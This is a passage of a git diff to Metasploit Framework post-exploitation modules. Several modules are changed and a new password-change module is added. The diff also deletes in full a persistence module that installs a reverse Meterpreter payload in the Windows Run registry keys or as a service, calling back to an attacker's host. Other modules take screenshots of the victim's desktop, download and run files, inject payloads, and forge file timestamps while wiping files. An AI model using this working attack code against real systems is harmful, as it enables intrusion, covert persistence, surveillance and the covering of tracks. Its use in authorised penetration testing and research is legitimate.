-      'SessionTypes'  => [ 'meterpreter' ]
-    ))
-
-      register_options([
-        OptString.new('HOSTNAMES', [true, 'Comma seperated list of hostnames to resolve.']),
-        OptEnum.new('AI_FAMILY', [true, 'Address Family', 'IPv4', ['IPv4', 'IPv6'] ])
-      ], self.class)
-  end
-
-  def run
-    hosts = datastore['HOSTNAMES'].split(',')
-
-    if datastore['AI_FAMILY'] == 'IPv4'
-      family = AF_INET
-    else
-      family = AF_INET6
-    end
-
-    # Clear whitespace
-    hosts.collect{|x| x.strip!}
-
-    print_status("Attempting to resolve '#{hosts.join(', ')}' on #{sysinfo['Computer']}") if not sysinfo.nil?
-
-    response = client.net.resolve.resolve_hosts(hosts, family)
-
-    table = Rex::Ui::Text::Table.new(
-      'Indent' => 0,
-      'SortIndex' => -1,
-      'Columns' =>
-      [
-        'Hostname',
-        'IP',
-      ]
-    )
-
-    response.each do |result|
-      if result[:ip].nil?
-        table << [result[:hostname], '[Failed To Resolve]']
-      else
-        table << [result[:hostname], result[:ip]]
-      end
-    end
-
-    table.print
-  end
-end
diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb
index 07bb3c6fbd..8381588125 100644
--- a/modules/post/windows/gather/screen_spy.rb
+++ b/modules/post/windows/gather/screen_spy.rb
@@ -14,11 +14,11 @@ class Metasploit3 < Msf::Post
           This module will incrementally take desktop screenshots from the host. This
         allows for screen spying which can be useful to determine if there is an active
         user on a machine, or to record the screen for later data extraction.
-        NOTES:  set VIEW_CMD to control how screenshots are opened/displayed, the file name
-        will be appended directly on to the end of the value of VIEW_CMD (use 'auto' to
-        have the module do it's best...default browser for Windows, firefox for *nix, and
-        preview app for macs).  'eog -s -f -w' is a handy VIEW_CMD for *nix.  To suppress
-        opening of screenshots all together, set the VIEW_CMD option to 'none'.
+
+        Note: As of March, 2014, the VIEW_CMD option has been removed in
+        favor of the Boolean VIEW_SCREENSHOTS option, which will control if (but
+        not how) the collected screenshots will be viewed from the Metasploit
+        interface.
         },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -36,11 +36,19 @@ class Metasploit3 < Msf::Post
       [
         OptInt.new('DELAY', [true, 'Interval between screenshots in seconds', 5]),
         OptInt.new('COUNT', [true, 'Number of screenshots to collect', 6]),
-        OptString.new('VIEW_CMD', [false, 'Command to use for viewing screenshots (auto, none also accepted)', 'auto']),
-        OptBool.new('RECORD', [true, 'Record all screenshots to disk by looting them',false])
+        OptBool.new('VIEW_SCREENSHOTS', [false, 'View screenshots automatically', false]),
+        OptBool.new('RECORD', [true, 'Record all screenshots to disk by looting them', true])
       ], self.class)
   end
 
+  def view_screenshots?
+    datastore['VIEW_SCREENSHOTS']
+  end
+
+  def record?
+    datastore['RECORD']
+  end
+
   def run
     host = session.session_host
     screenshot = Msf::Config.get_config_root + "/logs/" + host + ".jpg"
@@ -58,25 +66,6 @@ class Metasploit3 < Msf::Post
       return
     end
 
-    # here we check for the local platform to determine what to do when 'auto' is selected
-    if datastore['VIEW_CMD'].downcase == 'auto'
-      case ::RbConfig::CONFIG['host_os']
-      when /mac|darwin/
-        cmd = "open file://#{screenshot}" # this will use preview usually
-      when /mswin|win|mingw/
-        cmd = "start iexplore.exe \"file://#{screenshot}\""
-      when /linux|cygwin/
-        # This opens a new tab for each screenshot, but I don't see a better way
-        cmd = "firefox file://#{screenshot} &"
-      else # bsd/sun/solaris might be different, but for now...
-        cmd = "firefox file://#{screenshot} &"
-      end
-    elsif datastore['VIEW_CMD'].downcase == 'none'
-      cmd = nil
-    else
-      cmd = "#{datastore['VIEW_CMD']}#{screenshot}"
-    end
-
     begin
       count = datastore['COUNT']
       print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds"
@@ -92,20 +81,29 @@ class Metasploit3 < Msf::Post
           return false
         end
         if data
-          if datastore['RECORD']
+
+          if record?
             # let's loot it using non-clobbering filename, even tho this is the source filename, not dest
             fn = "screenshot.%0#{leading_zeros}d.jpg" % num
             file_locations << store_loot("screenspy.screenshot", "image/jpg", session, data, fn, "Screenshot")
           end
 
-          # also write to disk temporarily so we can display in browser.  They may or may not have been RECORDed.
-          if cmd # do this if they have not suppressed VIEW_CMD display
+          # also write to disk temporarily so we can display in browser.
+          # They may or may not have been RECORDed.
+          # do this if they have not suppressed VIEW_SCREENSHOT display
+          if view_screenshots?
             fd = ::File.new(screenshot, 'wb')
             fd.write(data)
             fd.close
           end
+
         end
-        system(cmd) if cmd
+
+        if view_screenshots?
+          screenshot_path = "file://#{screenshot}"
+          Rex::Compat.open_browser(screenshot_path)
+        end
+
       end
     rescue IOError, Errno::ENOENT => e
       print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}")
@@ -115,9 +113,11 @@ class Metasploit3 < Msf::Post
     if file_locations and not file_locations.empty?
       print_status "run loot -t screenspy.screenshot to see file locations of your newly acquired loot"
     end
-    if cmd
+
+    if view_screenshots?
       # wait 2 secs so the last file can get opened before deletion
-      select(nil, nil, nil, 2)
+      sleep 2
+      vprint_status "Deleting temporary screenshot file: #{screenshot}"
       begin
         ::File.delete(screenshot)
       rescue Exception => e
@@ -125,6 +125,7 @@ class Metasploit3 < Msf::Post
         print_error("This may be due to the file being in use if you are on a Windows platform")
       end
     end
+
   end
 
   def migrate_explorer
diff --git a/modules/post/windows/gather/wmic_command.rb b/modules/post/windows/gather/wmic_command.rb
index e178d18936..b94411a15d 100644
--- a/modules/post/windows/gather/wmic_command.rb
+++ b/modules/post/windows/gather/wmic_command.rb
@@ -8,6 +8,8 @@ require 'rex'
 
 class Metasploit3 < Msf::Post
 
+  include Msf::Post::Windows::WMIC
+
   def initialize(info={})
     super( update_info( info,
       'Name'          => 'Windows Gather Run Specified WMIC Command',
@@ -32,68 +34,37 @@ class Metasploit3 < Msf::Post
     tmpout = ""
     print_status("Running module against #{sysinfo['Computer']}")
     if datastore['RESOURCE']
-
       if ::File.exists?(datastore['RESOURCE'])
 
-        ::File.open(datastore['RESOURCE'], "br").each_line do |cmd|
+        ::File.open(datastore['RESOURCE']).each_line do |cmd|
 
           next if cmd.strip.length < 1
           next if cmd[0,1] == "#"
           print_status "Running command #{cmd.chomp}"
 
-          wmicexec(cmd.chomp)
-
+          result = wmic_query(cmd.chomp)
+          store_wmic_loot(result, cmd)
         end
       else
         raise "Resource File does not exists!"
       end
 
     elsif datastore['COMMAND']
-
       cmd = datastore['COMMAND']
-      wmicexec(cmd)
-
+      result = wmic_query(cmd)
+      store_wmic_loot(result, cmd)
     end
   end
 
-  def wmicexec(wmiccmd)
-    tmpout = ''
-    session.response_timeout=120
-    begin
-      tmp = session.fs.file.expand_path("%TEMP%")
-      wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000))
-      print_status "running command wmic #{wmiccmd}"
-      r = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe /append:#{wmicfl} #{wmiccmd}", nil, {'Hidden' => true})
-      sleep(2)
-      #Making sure that wmic finishes before executing next wmic command
-      prog2check = "wmic.exe"
-      found = 0
-      while found == 0
-        session.sys.process.get_processes().each do |x|
-          found =1
-          if prog2check == (x['name'].downcase)
-            sleep(0.5)
-            found = 0
-          end
-        end
-      end
-      r.close
+  def store_wmic_loot(result_text, cmd)
+    command_log = store_loot("host.command.wmic",
+                             "text/plain",
+                             session,
+                             result_text,
+                             "#{cmd.gsub(/\.|\/|\s/,"_")}.txt",
+                             "Command Output \'wmic #{cmd.chomp}\'")
 
-      # Read the output file of the wmic commands
-      wmioutfile = session.fs.file.new(wmicfl, "rb")
-      until wmioutfile.eof?
-        tmpout << wmioutfile.read
-      end
-      wmioutfile.close
-    rescue ::Exception => e
-      print_status("Error running WMIC commands: #{e.class} #{e}")
-    end
-    # We delete the file with the wmic command output.
-    c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
-    c.close
-    vprint_status tmpout
-    command_log = store_loot("host.command.wmic", "text/plain", session,tmpout ,
-      "#{wmiccmd.gsub(/\.|\/|\s/,"_")}.txt", "Command Output \'wmic #{wmiccmd.chomp}\'")
     print_status("Command output saved to: #{command_log}")
   end
+
 end
diff --git a/modules/post/windows/manage/change_password.rb b/modules/post/windows/manage/change_password.rb
new file mode 100644
index 0000000000..6099b90013
--- /dev/null
+++ b/modules/post/windows/manage/change_password.rb
@@ -0,0 +1,78 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Post
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'                 => "Windows Manage Change Password",
+      'Description'          => %q{
+        This module will attempt to change the password of the targetted account.
+        Its main purpose is when you have valid credentials on a remote host but
+        they require a password change before you can login e.g.
+        'System error 1907 has occurred.'
+      },
+      'License'              => MSF_LICENSE,
+      'Platform'             => ['win'],
+      'SessionTypes'         => ['meterpreter'],
+      'Author'               => ['Ben Campbell']
+    ))
+
+    register_options(
+      [
+        OptString.new('SMBDomain', [false, 'Domain or Host to change password on, if not set will use the current login domain', nil]),
+        OptString.new('SMBUser', [true, 'Username to change password of']),
+        OptString.new('OLD_PASSWORD', [true, 'Original password' ]),
+        OptString.new('NEW_PASSWORD', [true, 'New password' ]),
+      ], self.class)
+  end
+
+  def run
+    unless client.railgun
+      print_error('This module requires a native windows payload that supports railgun.')
+      return
+    end
+
+    domain = datastore['SMBDomain']
+    username = datastore['SMBUser']
+    old_password = datastore['OLD_PASSWORD']
+    new_password = datastore['NEW_PASSWORD']
+    print_status("Changing #{domain}\\#{username} password to #{new_password}...")
+    result = client.railgun.netapi32.NetUserChangePassword(
+      domain,
+      username,
+      old_password,
+      new_password
+    )
+
+    case result['return']
+    when 0x05
+      err_msg = 'ERROR_ACCESS_DENIED'
+    when 0x56
+      err_msg = 'ERROR_INVALID_PASSWORD'
+    when 0x92f
+      err_msg = 'NERR_InvalidComputer'
+    when 0x8b2
+      err_msg = 'NERR_NotPrimary'
+    when 0x8ad
+      err_msg = 'NERR_UserNotFound'
+    when 0x8c5
+      err_msg = 'NERR_PasswordTooShort'
+    when 0
+      print_good('Password change successful.')
+    else
+      err_msg = "unknown error code: #{result['return']}"
+    end
+
+    if err_msg
+      print_error("Password change failed, #{err_msg}.")
+    end
+
+  end
+
+end
+
diff --git a/modules/post/windows/manage/download_exec.rb b/modules/post/windows/manage/download_exec.rb
index 6dd6668288..bb5cbbb115 100644
--- a/modules/post/windows/manage/download_exec.rb
+++ b/modules/post/windows/manage/download_exec.rb
@@ -35,7 +35,7 @@ class Metasploit3 < Msf::Post
     register_advanced_options(
       [
         OptString.new('EXEC_STRING',   [false, 'Execution parameters when run from download directory' ]),
-        OptInt.new('EXEC_TIMEOUT',     [true, 'Execution timeout', 60 ]),
+        OptInt.new(   'EXEC_TIMEOUT',  [true, 'Execution timeout', 60 ]),
         OptBool.new(  'DELETE',        [true, 'Delete file after execution', false ]),
       ], self.class)
 
@@ -76,16 +76,16 @@ class Metasploit3 < Msf::Post
     url = datastore["URL"]
     filename = datastore["FILENAME"] || url.split('/').last
 
-    download_path = session.fs.file.expand_path(datastore["DOWNLOAD_PATH"])
-    if download_path.nil? or download_path.empty?
-      path = session.fs.file.expand_path("%TEMP%")
+    path = datastore['DOWNLOAD_PATH']
+    if path.blank?
+      path = session.sys.config.getenv('TEMP')
     else
-      path = download_path
+      path = session.fs.file.expand_path(path)
     end
 
     outpath = path + '\\' + filename
     exec = datastore['EXECUTE']
-    exec_string = datastore['EXEC_STRING'] || ''
+    exec_string = datastore['EXEC_STRING']
     output = datastore['OUTPUT']
     remove = datastore['DELETE']
 
@@ -108,11 +108,7 @@ class Metasploit3 < Msf::Post
     # Execute file upon request
     if exec
       begin
-        cmd = "#{outpath} #{exec_string}"
-
-        # If we don't have the following gsub, we get this error in Windows:
-        # "Operation failed: The system cannot find the file specified"
-        cmd = cmd.gsub(/\\/, '\\\\\\').gsub(/\s/, '\ ')
+        cmd = "\"#{outpath}\" #{exec_string}"
 
         print_status("Executing file: #{cmd}")
         res = cmd_exec(cmd, nil, datastore['EXEC_TIMEOUT'])
diff --git a/modules/post/windows/manage/ie_proxypac.rb b/modules/post/windows/manage/ie_proxypac.rb
index 8b3c9f2862..21bced57ef 100644
--- a/modules/post/windows/manage/ie_proxypac.rb
+++ b/modules/post/windows/manage/ie_proxypac.rb
@@ -87,7 +87,7 @@ class Metasploit3 < Msf::Post
   end
 
   def create_pac(local_pac)
-    pac_file = expand_path("%APPDATA%") << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pac"
+    pac_file = session.sys.config.getenv("APPDATA") << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pac"
     conf_pac = ""
 
     if ::File.exists?(local_pac)
diff --git a/modules/post/windows/manage/payload_inject.rb b/modules/post/windows/manage/payload_inject.rb
index 9e69f4cc8d..f32559170d 100644
--- a/modules/post/windows/manage/payload_inject.rb
+++ b/modules/post/windows/manage/payload_inject.rb
@@ -159,7 +159,7 @@ class Metasploit3 < Msf::Post
   # Creates a temp notepad.exe to inject payload in to given the payload
   # Returns process PID
   def create_temp_proc(pay)
-    windir = client.fs.file.expand_path("%windir%")
+    windir = client.sys.config.getenv('windir')
     # Select path of executable to run depending the architecture
     if pay.arch.join == "x86" and client.platform =~ /x86/
       cmd = "#{windir}\\System32\\notepad.exe"
diff --git a/modules/post/windows/manage/persistence.rb b/modules/post/windows/manage/persistence.rb
deleted file mode 100644
index c0e8962a8f..0000000000
--- a/modules/post/windows/manage/persistence.rb
+++ /dev/null
@@ -1,370 +0,0 @@
-##
-# This module requires Metasploit: http//metasploit.com/download
-# Current source: https://github.com/rapid7/metasploit-framework
-##
-
-require 'msf/core'
-require 'rex'
-
-class Metasploit3 < Msf::Post
-  require 'msf/core/module/deprecated'
-  include Msf::Module::Deprecated
-  deprecated Date.new(2013, 11, 12), 'exploit/windows/local/persistence'
-
-  include Msf::Post::File
-  include Msf::Post::Windows::Priv
-  include Msf::Post::Windows::Registry
-  include Msf::Post::Windows::Services
-
-  def initialize(info={})
-    super( update_info( info,
-      'Name'          => 'Windows Manage Persistent Payload Installer',
-      'Description'   => %q{
-        This Module will create a boot persistent reverse Meterpreter session by
-        installing on the target host the payload as a script that will be executed
-        at user logon or system startup depending on privilege and selected startup
-        method.
-
-        REXE mode will transfer a binary of your choosing to remote host to be
-        used as a payload.
-      },
-      'License'       => MSF_LICENSE,
-      'Author'        =>
-        [
-          'Carlos Perez <carlos_perez[at]darkoperator.com>',
-          'Merlyn drforbin Cousins <drforbin6[at]gmail.com>'
-        ],
-      'Platform'      => [ 'win' ],
-      'Actions'       => [['TEMPLATE'], ['REXE']],
-      'DefaultAction' => 'TEMPLATE',
-      'SessionTypes'  => [ 'meterpreter' ]
-    ))
-
-    register_options(
-      [
-        OptAddress.new('LHOST', [true, 'IP for persistent payload to connect to.']),
-        OptInt.new('LPORT', [true, 'Port for persistent payload to connect to.']),
-        OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]),
-        OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM','SERVICE']]),
-        OptBool.new('HANDLER', [ false, 'Start a Multi/Handler to Receive the session.', true]),
-        OptString.new('TEMPLATE', [false, 'Alternate template Windows PE File to use.']),
-        OptString.new('REXE',[false, 'The remote executable to use.','']),
-        OptString.new('REXENAME',[false, 'The name to call exe on remote system','']),
-        OptEnum.new('PAYLOAD_TYPE', [true, 'Meterpreter Payload Type.', 'TCP',['TCP','HTTP','HTTPS']])
-      ], self.class)
-
-    register_advanced_options(
-      [
-        OptString.new('OPTIONS', [false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format.",""]),
-        OptString.new('ENCODER', [false, "Encoder name to use for encoding.",]),
-        OptInt.new('ITERATIONS', [false, 'Number of iterations for encoding.']),
-      ], self.class)
-  end
-
-  # Run Method for when run command is issued
-  #-------------------------------------------------------------------------------
-  def run
-    print_status("Running module against #{sysinfo['Computer']}")
-
-    # Set vars
-    rexe = datastore['REXE']
-    rexename = datastore['REXENAME']
-    lhost = datastore['LHOST']
-    lport = datastore['LPORT']
-    opts = datastore['OPTIONS']
-    delay = datastore['DELAY']
-    encoder = datastore['ENCODER']
-    iterations = datastore['ITERATIONS']
-    @clean_up_rc = ""
-    host,port = session.session_host, session.session_port
-    payload = "windows/meterpreter/reverse_tcp"
-
-    if  datastore['ACTION'] == 'TEMPLATE'
-      # Check that if a template is provided that it actually exists
-      if datastore['TEMPLATE']
-        if not ::File.exists?(datastore['TEMPLATE'])
-          print_error "Template PE File does not exists!"
-          return
-        else
-          template_pe = datastore['TEMPLATE']
-        end
-      end
-
-      # Set the proper payload
-      case datastore['PAYLOAD_TYPE']
-      when /TCP/i
-        payload = "windows/meterpreter/reverse_tcp"
-      when /HTTP/i
-        payload = "windows/meterpreter/reverse_http"
-      when /HTTPS/i
-        payload = "windows/meterpreter/reverse_https"
-      end
-
-      # Create payload and script
-      pay = create_payload(payload, lhost, lport, opts = "")
-      raw = pay_gen(pay,encoder, iterations)
-      script = create_script(delay, template_pe, raw)
-      script_on_target = write_script_to_target(script)
-    else
-      if datastore['REXE'].nil? or datastore['REXE'].empty?
-        print_error("Please define REXE")
-        return
-      end
-
-      if datastore['REXENAME'].nil? or datastore['REXENAME'].empty?
-        print_error("Please define REXENAME")
-        return
-      end
-
-      if not ::File.exist?(datastore['REXE'])
-        print_error("Rexe file does not exist!")
-        return
-      end
-
-      raw = create_payload_from_file(rexe)
-      script_on_target = write_exe_to_target(raw,rexename)
-    end
-
-
-    # Start handler if set
-    create_multihand(payload, lhost, lport) if datastore['HANDLER']
-
-    # Initial execution of script
-    target_exec(script_on_target)
-
-    case datastore['STARTUP']
-    when /USER/i
-      write_to_reg("HKCU",script_on_target)
-    when /SYSTEM/i
-      write_to_reg("HKLM",script_on_target)
-    when /SERVICE/i
-      install_as_service(script_on_target)
-    end
-
-    clean_rc = log_file()
-    file_local_write(clean_rc,@clean_up_rc)
-    print_status("Cleanup Meterpreter RC File: #{clean_rc}")
-
-    report_note(:host => host,
-      :type => "host.persistance.cleanup",
-      :data => {
-        :local_id => session.sid,
-        :stype => session.type,
-        :desc => session.info,
-        :platform => session.platform,
-        :via_payload => session.via_payload,
-        :via_exploit => session.via_exploit,
-        :created_at => Time.now.utc,
-        :commands =>  @clean_up_rc
-      }
-    )
-  end
-
-  # Generate raw payload
-  #-------------------------------------------------------------------------------
-  def pay_gen(pay,encoder, iterations)
-    raw = pay.generate
-    if encoder
-      if enc_compat(pay, encoder)
-        print_status("Encoding with #{encoder}")
-        enc = framework.encoders.create(encoder)
-        (1..iterations).each do |i|
-          print_status("\tRunning iteration #{i}")
-          raw = enc.encode(raw, nil, nil, "Windows")
-        end
-      end
-    end
-    return raw
-  end
-
-  # Check if encoder specified is in the compatible ones
-  #
-  # Note: This should allow to adapt to new encoders if they appear with out having
-  # to have a static whitelist.
-  #-------------------------------------------------------------------------------
-  def enc_compat(payload, encoder)
-    compat = false
-    payload.compatible_encoders.each do |e|
-      if e[0] == encoder.strip
-        compat = true
-      end
-    end
-    return compat
-  end
-
-  # Create a payload given a name, lhost and lport, additional options
-  #-------------------------------------------------------------------------------
-  def create_payload(name, lhost, lport, opts = "")
-
-    pay = session.framework.payloads.create(name)
-    pay.datastore['LHOST'] = lhost
-    pay.datastore['LPORT'] = lport
-    if not opts.empty?
-      opts.split(",").each do |o|
-        opt,val = o.split("=", 2)
-        pay.datastore[opt] = val
-      end
-    end
-    # Validate the options for the module
-    pay.options.validate(pay.datastore)
-    return pay
-
-  end
-
-  # Function for Creating persistent script
-  #-------------------------------------------------------------------------------
-  def create_script(delay,altexe,raw)
-    if not altexe.nil?
-      vbs = ::Msf::Util::EXE.to_win32pe_vbs(session.framework, raw, {:persist => true, :delay => delay, :template => altexe})
-    else
-      vbs = ::Msf::Util::EXE.to_win32pe_vbs(session.framework, raw, {:persist => true, :delay => delay})
-    end
-    print_status("Persistent agent script is #{vbs.length} bytes long")
-    return vbs
-  end
-
-  # Function for creating log folder and returning log path
-  #-------------------------------------------------------------------------------
-  def log_file(log_path = nil)
-    #Get hostname
-    host = session.sys.config.sysinfo["Computer"]
-
-    # Create Filename info to be appended to downloaded files
-    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
-
-    # Create a directory for the logs
-    if log_path
-      logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
-    else
-      logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
-    end
-
-    # Create the log directory
-    ::FileUtils.mkdir_p(logs)
-
-    #logfile name
-    logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
-    return logfile
-  end
-
-  # Function for writing script to target host
-  #-------------------------------------------------------------------------------
-  def write_script_to_target(vbs)
-    tempdir = session.fs.file.expand_path("%TEMP%")
-    tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
-    fd = session.fs.file.new(tempvbs, "wb")
-    fd.write(vbs)
-    fd.close
-    print_good("Persistent Script written to #{tempvbs}")
-    @clean_up_rc << "rm #{tempvbs}\n"
-    return tempvbs
-  end
-
-  # Method for checking if a listener for a given IP and port is present
-  # will return true if a conflict exists and false if none is found
-  #-------------------------------------------------------------------------------
-  def check_for_listner(lhost,lport)
-    conflict = false
-    client.framework.jobs.each do |k,j|
-      if j.name =~ / multi\/handler/
-        current_id = j.jid
-        current_lhost = j.ctx[0].datastore["LHOST"]
-        current_lport = j.ctx[0].datastore["LPORT"]
-        if lhost == current_lhost and lport == current_lport.to_i
-          print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
-          conflict = true
-        end
-      end
-    end
-    return conflict
-  end
-
-  # Starts a multi/handler session
-  #-------------------------------------------------------------------------------
-  def create_multihand(payload,lhost,lport)
-    pay = session.framework.payloads.create(payload)
-    pay.datastore['LHOST'] = lhost
-    pay.datastore['LPORT'] = lport
-    print_status("Starting exploit multi handler")
-    if not check_for_listner(lhost,lport)
-      # Set options for module
-      mul = session.framework.exploits.create("multi/handler")
-      mul.share_datastore(pay.datastore)
-      mul.datastore['WORKSPACE'] = client.workspace
-      mul.datastore['PAYLOAD'] = payload
-      mul.datastore['EXITFUNC'] = 'thread'
-      mul.datastore['ExitOnSession'] = false
-      # Validate module options
-      mul.options.validate(mul.datastore)
-      # Execute showing output
-      mul.exploit_simple(
-          'Payload'     => mul.datastore['PAYLOAD'],
-          'LocalInput'  => self.user_input,
-          'LocalOutput' => self.user_output,
-          'RunAsJob'    => true
-        )
-    else
-      print_error("Could not start handler!")
-      print_error("A job is listening on the same Port")
-    end
-  end
-
-  # Function to execute script on target and return the PID of the process
-  #-------------------------------------------------------------------------------
-  def target_exec(script_on_target)
-    print_status("Executing script #{script_on_target}")
-    proc = datastore['ACTION'] == 'REXE' ? session.sys.process.execute(script_on_target, nil, {'Hidden' => true})\
-    : session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true})
-
-    print_good("Agent executed with PID #{proc.pid}")
-    @clean_up_rc << "kill #{proc.pid}\n"
-    return proc.pid
-  end
-
-  # Function to install payload in to the registry HKLM or HKCU
-  #-------------------------------------------------------------------------------
-  def write_to_reg(key,script_on_target)
-    nam = Rex::Text.rand_text_alpha(rand(8)+8)
-    print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
-    if(key)
-      registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ")
-      print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
-    else
-      print_error("Error: failed to open the registry key for writing")
-    end
-  end
-  # Function to install payload as a service
-  #-------------------------------------------------------------------------------
-  def install_as_service(script_on_target)
-    if  is_system? or is_admin?
-      print_status("Installing as service..")
-      nam = Rex::Text.rand_text_alpha(rand(8)+8)
-      print_status("Creating service #{nam}")
-      datastore['ACTION'] == 'REXE' ? service_create(nam, nam, "cmd /c \"#{script_on_target}\"") : service_create(nam, nam, "cscript \"#{script_on_target}\"")
-
-      @clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"
-    else
-      print_error("Insufficient privileges to create service")
-    end
-  end
-
-
-  # Function for writing executable to target host
-  #-------------------------------------------------------------------------------
-  def write_exe_to_target(vbs,rexename)
-    tempdir = session.fs.file.expand_path("%TEMP%")
-    tempvbs = tempdir + "\\" + rexename
-    fd = session.fs.file.new(tempvbs, "wb")
-    fd.write(vbs)
-    fd.close
-    print_good("Persistent Script written to #{tempvbs}")
-    @clean_up_rc << "rm #{tempvbs}\n"
-    return tempvbs
-  end
-
-  def create_payload_from_file(exec)
-    print_status("Reading Payload from file #{exec}")
-    return ::IO.read(exec)
-  end
-
-end
diff --git a/modules/post/windows/manage/reflective_dll_inject.rb b/modules/post/windows/manage/reflective_dll_inject.rb
index 0b3b651270..9ae6d4a5cd 100644
--- a/modules/post/windows/manage/reflective_dll_inject.rb
+++ b/modules/post/windows/manage/reflective_dll_inject.rb
@@ -18,7 +18,7 @@ class Metasploit3 < Msf::Post
         This module will inject into the memory of a process a specified Reflective DLL.
       },
       'License'      => MSF_LICENSE,
-      'Author'       => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'],
+      'Author'       => [ 'Ben Campbell'],
       'Platform'     => [ 'win' ],
       'SessionTypes' => [ 'meterpreter' ],
       'References'   =>
diff --git a/modules/post/windows/manage/rpcapd_start.rb b/modules/post/windows/manage/rpcapd_start.rb
index a810b16f41..df88e5b8b1 100644
--- a/modules/post/windows/manage/rpcapd_start.rb
+++ b/modules/post/windows/manage/rpcapd_start.rb
@@ -46,7 +46,8 @@ class Metasploit3 < Msf::Post
       else
         print_status("Rpcap service found: #{serv['Name']}")
         reg=registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\rpcapd","Start")
-        prog=expand_path("%ProgramFiles%") << "\\winpcap\\rpcapd.exe"
+        # TODO: check if this works on x64
+        prog=session.sys.config.getenv('ProgramFiles') << "\\winpcap\\rpcapd.exe"
         if reg != 2
           print_status("Setting rpcapd as 'auto' service")
           service_change_startup("rpcapd","auto")
diff --git a/modules/post/windows/manage/run_as.rb b/modules/post/windows/manage/run_as.rb
index c5a9ca2e61..12ed81b5b1 100644
--- a/modules/post/windows/manage/run_as.rb
+++ b/modules/post/windows/manage/run_as.rb
@@ -106,7 +106,7 @@ class Metasploit3 < Msf::Post
     end
 
     # set profile paths
-    sysdrive = session.fs.file.expand_path("%SYSTEMDRIVE%")
+    sysdrive = session.sys.config.getenv('SYSTEMDRIVE')
     os = @host_info['OS']
     profiles_path = sysdrive + "\\Documents and Settings\\"
     profiles_path = sysdrive + "\\Users\\" if os =~ /(Windows 7|2008|Vista)/
diff --git a/modules/post/windows/manage/sdel.rb b/modules/post/windows/manage/sdel.rb
index d1df025153..c6f6d40fbb 100644
--- a/modules/post/windows/manage/sdel.rb
+++ b/modules/post/windows/manage/sdel.rb
@@ -57,8 +57,8 @@ class Metasploit3 < Msf::Post
 
   #Function to calculate the size of the cluster
   def size_cluster()
-    drive =  expand_path("%SystemDrive%")
-    r = client.railgun.kernel32.GetDiskFreeSpaceA(drive,4,4,4,4)
+    drive =  session.sys.config.getenv('SystemDrive')
+    r = session.railgun.kernel32.GetDiskFreeSpaceA(drive,4,4,4,4)
     cluster = r["lpBytesPerSector"] * r["lpSectorsPerCluster"]
     print_status("Cluster Size: #{cluster}")
 
@@ -68,7 +68,7 @@ class Metasploit3 < Msf::Post
 
   #Function to calculate the real file size on disk (file size + slack space)
   def size_on_disk(file)
-    size_file = client.fs.file.stat(file).size;
+    size_file = session.fs.file.stat(file).size;
     print_status("Size of the file: #{size_file}")
 
     if (size_file<800)
@@ -94,13 +94,13 @@ class Metasploit3 < Msf::Post
     rsec=  Rex::Text.rand_text_numeric(7,bad='012')
     date = Time.now - rsec.to_i
     print_status("Changing MACE attributes")
-    client.priv.fs.set_file_mace(file, date,date,date,date)
+    session.priv.fs.set_file_mace(file, date,date,date,date)
   end
 
   #Function to overwrite the file
   def file_overwrite(file,type,n)
     #FILE_FLAG_WRITE_THROUGH: Write operations will go directly to disk
-    r = client.railgun.kernel32.CreateFileA(file, "GENERIC_WRITE", "FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH", 0)
+    r = session.railgun.kernel32.CreateFileA(file, "GENERIC_WRITE", "FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH", 0)
     handle=r['return']
     real_size=size_on_disk(file)
 
@@ -118,10 +118,10 @@ class Metasploit3 < Msf::Post
       end
 
       #http://msdn.microsoft.com/en-us/library/windows/desktop/aa365541(v=vs.85).aspx
-      client.railgun.kernel32.SetFilePointer(handle,0,nil,"FILE_BEGIN")
+      session.railgun.kernel32.SetFilePointer(handle,0,nil,"FILE_BEGIN")
 
       #http://msdn.microsoft.com/en-us/library/windows/desktop/aa365747(v=vs.85).aspx
-      w=client.railgun.kernel32.WriteFile(handle,random,real_size,4,nil)
+      w=session.railgun.kernel32.WriteFile(handle,random,real_size,4,nil)
 
       if w['return']==false
         print_error("The was an error writing to disk, check permissions")
@@ -131,7 +131,7 @@ class Metasploit3 < Msf::Post
       print_status("#{w['lpNumberOfBytesWritten']} bytes overwritten")
     end
 
-    client.railgun.kernel32.CloseHandle(handle)
